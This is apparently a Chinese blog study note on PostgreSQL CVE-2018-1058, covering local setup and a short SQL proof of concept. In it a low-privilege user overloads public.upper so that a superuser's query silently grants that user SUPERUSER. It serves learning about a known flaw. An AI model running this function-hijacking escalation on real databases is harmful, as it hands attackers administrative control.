zoukankan      html  css  js  c++  java
  • PostgreSQL远程代码执行漏洞(CVE-2018-1058)学习笔记

    零、参考文献和绪论:

    1、先知社区chybeta大神的--PostgreSQL 远程代码执行漏洞分析及利用—【CVE-2018-1058】--一文

    2、博客园hunchill的--Mac 下 PostgreSQL 的安装与使用--一文

    一、PostgreSQL环境搭建:

    在mac上面安装postgresql并启动postgresql

    1 brew install postgresql
    2 brew services start postgresql

    二、创建用户配置环境:

    1、初始化数据库,忘记在安装中还是初始化中,生成了超级用户,我的超级用户是hostname,这里使用bobac代替

    1 brew services stop postgresql
    2 initdb /usr/local/var/postgres -E utf8
    3 brew services start postgresql

    2、创建普通用户

    1 createuser evil -P

    3、创建数据库:

    1 createdb evil -O evil -E UTF8 -e

    三、原理分析介绍:

      这个漏洞的原理就是在public空间上重载函数,加入恶意的程序代码。等待其他账户,尤其是高权限账户调用这个函数的时候,就会执行恶意代码(以高权限执行)从而达到远程恶意代码执行的目的。

    四、过程举例(参考)

    1、创建表并插入数据(evil权限执行):

    1 CREATE TABLE public.hehehehe AS SELECT 'evil'::varchar AS contents;

    2、定义函数(evil权限执行):

    1 CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
    2     ALTER ROLE evil SUPERUSER;
    3     SELECT pg_catalog.upper($1);
    4 $$ LANGUAGE SQL VOLATILE;

    3、查询时候使用upper函数(bobac权限执行)

    1 SELECT upper(contents) FROM hehehehe;

    此时就执行了ALTER ROLE evil SUPERUSER;

    4、然后查看用户权限:

    1 SELECT rolname,rolsuper FROM pg_roles;

  • 相关阅读:
    WebServices Get
    字符出现次数
    正则
    防止AutoPost
    转双问号,单问号
    GetData
    UpdatePanel
    字居中
    C# 面向对象之多态
    C# 委托之把委托从委托链(多播委托)移除
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/8521496.html
Copyright © 2011-2022 走看看